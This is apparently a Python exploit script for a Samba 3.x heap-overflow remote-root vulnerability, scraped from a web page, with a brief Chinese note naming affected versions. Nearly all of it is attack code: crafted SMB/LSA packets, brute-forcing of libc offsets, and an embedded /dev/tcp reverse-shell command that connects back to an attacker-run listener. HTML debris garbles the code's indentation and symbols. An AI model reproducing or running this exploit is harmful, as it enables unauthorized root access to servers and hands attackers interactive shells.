from binascii import hexlify, unhexlify
import socket
import threading
import SocketServer
import sys
import os
import time
import struct <\/p>

targets = [
{
"name" : "samba_3.6.3-debian6",
"chunk_offset" : 0x9148,
"system_libc_offset" : 0xb6d003c0
},
{
"name" : "samba_3.5.11~dfsg-1ubuntu2.1_i386 (oneiric)",
"chunk_offset" : 4560,
"system_libc_offset" : 0xb20
},
{
"name" : "target_finder (hardcode correct system addr)",
"chunk_offset" : 0,
"system_libc_offset" : 0xb6d1a3c0,
"finder": True
}
]<\/p>

do_brute = True
rs = 1024
FILTER=''.join([(len(repr(chr(x)))==3) and chr(x) or '.' for x in range(256)])<\/p>

def dump(src, length=32):
result=[]
for i in xrange(0, len(src), length):
s = src[i:i+length]
hexa = ' '.join(["%02x"%ord(x) for x in s])
printable = s.translate(FILTER)
result.append("%04x %-s %s\n" % (i, length<\/em>3, hexa, printable))
return ''.join(result)<\/p>

sploitshake = [
# HELLO
"8100004420434b4644454e4543464445" +
"46464346474546464343414341434143" +
"41434143410020454745424644464545" +
"43455046494341434143414341434143" +
"4143414341414100",<\/p>

# NTLM_NEGOT
"0000002fff534d427200000000000000" + \
"00000000000000000000000000001d14" + \
"00000000000c00024e54204c4d20302e" + \
"313200",

# SESSION_SETUP
"0000004bff534d427300000000080000" + \
"000000000000000000000000ffff1d14" + \
"000000000dff000000ffff02001d1499" + \
"1f00000000000000000000010000000e" + \
"000000706f736978007079736d6200",

# TREE_CONNECT
"00000044ff534d427500000000080000" + \
"000000000000000000000000ffff1d14" + \
"6400000004ff00000000000100190000" + \
"5c5c2a534d425345525645525c495043" + \
"24003f3f3f3f3f00",

# NT_CREATE
"00000059ff534d42a200000000180100" + \
"00000000000000000000000001001d14" + \
"6400000018ff00000000050016000000" + \
"000000009f0102000000000000000000" + \
"00000000030000000100000040000000" + \
"020000000306005c73616d7200"
<\/code><\/pre>
]<\/p>
pwnsauce = {

'smb_bind': 

"00000092ff534d422500000000000100" + 

"00000000000000000000000001001d14" + 

"6400000010000048000004e0ff000000" + 

"0000000000000000004a0048004a0002" + 

"002600babe4f005c504950455c000500" + 

"0b03100000004800000001000000b810" + 

"b8100000000001000000000001007857" + 

"34123412cdabef000123456789ab0000" + 

"0000045d888aeb1cc9119fe808002b10" + 

"486002000000",<\/p>
'data_chunk': \
	"000010efff534d422f00000000180000" + \
	"00000000000000000000000001001d14" + \
	"640000000eff000000babe00000000ff" + \
	"0000000800b0100000b0103f00000000" + \
	"00b0100500000110000000b010000001" + \
	"0000009810000000000800",

'final_chunk': \
	"000009a3ff534d422f00000000180000" + \
	"00000000000000000000000001001d14" + \
	"640000000eff000000babe00000000ff" + \
	"00000008006409000064093f00000000" + \
	"00640905000002100000006409000001" + \
	"0000004c09000000000800"
<\/code><\/pre>
}<\/p>
def exploit(host, port, cbhost, cbport, target):

global sploitshake, pwnsauce<\/p>
chunk_size = 4248

target_tcp = (host, port)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(target_tcp)

n = 0
for pkt in sploitshake:
	s.send(unhexlify(pkt))
	pkt_res = s.recv(rs)
	n = n+1

fid = hexlify(pkt_res[0x2a] + pkt_res[0x2b])

s.send(unhexlify(pwnsauce['smb_bind'].replace("babe", fid)))
pkt_res = s.recv(rs)

buf = "X"*20 &nbsp;# policy handle
level = 2 #LSA_POLICY_INFO_AUDIT_EVENTS
buf+=struct.pack('&lt;H',level) # level
buf+=struct.pack('&lt;H',level)# level2
buf+=struct.pack('&lt;L',1)#auditing_mode
buf+=struct.pack('&lt;L',1)#ptr
buf+=struct.pack('&lt;L',100000) # r-&gt;count
buf+=struct.pack('&lt;L',20) # array_size
buf+=struct.pack('&lt;L',0)
buf+=struct.pack('&lt;L',100)

buf += ("A" * target['chunk_offset'])

buf+=struct.pack("I", 0);
buf+=struct.pack("I", target['system_libc_offset']);
buf+=struct.pack("I", 0);
buf+=struct.pack("I", target['system_libc_offset']);
buf+=struct.pack("I", 0xe8150c70);
buf+="AAAABBBB"

cmd = ";;;;\/bin\/bash -c '\/bin\/bash 0&lt;\/dev\/tcp\/"+cbhost+"\/"+cbport+" 1&gt;&amp;0 2&gt;&amp;0' &amp;\x00"

tmp = cmd*(816\/len(cmd))
tmp += "\x00"*(816-len(tmp))

buf+=tmp
buf+="A"*(37192-target['chunk_offset'])
buf+='z'*(100000 - (28000 + 10000))

buf_chunks = [buf[x:x+chunk_size] for x in xrange(0, len(buf), chunk_size)]
n=0

for chunk in buf_chunks:
	if len(chunk) != chunk_size:
		#print "LAST CHUNK #%d" % n
		bb = unhexlify(pwnsauce['final_chunk'].replace("babe", fid)) + chunk
		s.send(bb)
	else:
		#print "CHUNK #%d" % n
		bb = unhexlify(pwnsauce['data_chunk'].replace("babe", fid)) + chunk
		s.send(bb)
		retbuf = s.recv(rs)
	n=n+1

s.close()
<\/code><\/pre>
class connectback_shell(SocketServer.BaseRequestHandler):

def handle(self):

global do_brute<\/p>
	print "\n[!] connectback shell from %s" % self.client_address[0]
	do_brute = False

	s = self.request

	import termios, tty, select, os
	old_settings = termios.tcgetattr(0)
	try:
		tty.setcbreak(0)
		c = True
		while c:
			for i in select.select([0, s.fileno()], [], [], 0)[0]:
				c = os.read(i, 1024)
				if c:
					if i == 0:
						os.write(1, c)

					os.write(s.fileno() if i == 0 else 1, c)
	except KeyboardInterrupt: pass
	finally: termios.tcsetattr(0, termios.TCSADRAIN, old_settings)

	return
<\/code><\/pre>
class ThreadedTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):

pass<\/p>
if len(sys.argv) != 6:

print "\n  {} samba 3.x remote root by kd(eax)@ireleaseyourohdayfuckyou {<\/em>}\n"

print "  usage: %s <targethost> <targetport> <myip> <myport> <target>\n" % (sys.argv[0])

print "  targets:"

i = 0

for target in targets:

print "    %02d) %s" % (i, target['name'])

i = i+1<\/p>
print ""
sys.exit(-1)
<\/code><\/pre>
target = targets[int(sys.argv[5])]<\/p>
server = ThreadedTCPServer((sys.argv[3], int(sys.argv[4])), connectback_shell)

server_thread = threading.Thread(target=server.serve_forever)

server_thread.daemon = True

server_thread.start()<\/p>
while do_brute == True:

sys.stdout.write("\r{+} TRYING EIP=\x1b[31m0x%08x\x1b[0m OFFSET=\x1b[32m0x%08x\x1b[0m" % (target['system_libc_offset'], target['chunk_offset']))

sys.stdout.flush()

exploit(sys.argv[1], int(sys.argv[2]), sys.argv[3], sys.argv[4], target)<\/p>
if "finder" in target:
	target['chunk_offset'] += 4
else:
	target['system_libc_offset'] += 0x1000
<\/code><\/pre>
if "finder" in target:

print 

"{!} found \x1b[32mNEW\x1b[0m target: chunk_offset = ~%d, " 

"system_libc_offset = 0x%03x" % 

(target['chunk_offset'], target['system_libc_offset'] & 0xff000fff)<\/p>
while 1:

time.sleep(999)<\/p>
server.shutdown()堆栈溢出原理请大家自己百度一下，就不在这里浪费口水了！！Samba 3.6.4 3.5.14 3.4.16已经修复此漏洞受影响版本3.6.4之前的版本3.X均受此影响，另外上诉修复的版本不在受影响范围内！转自：https:\/\/www.freebuf.com\/vuls\/5802.html<\/p>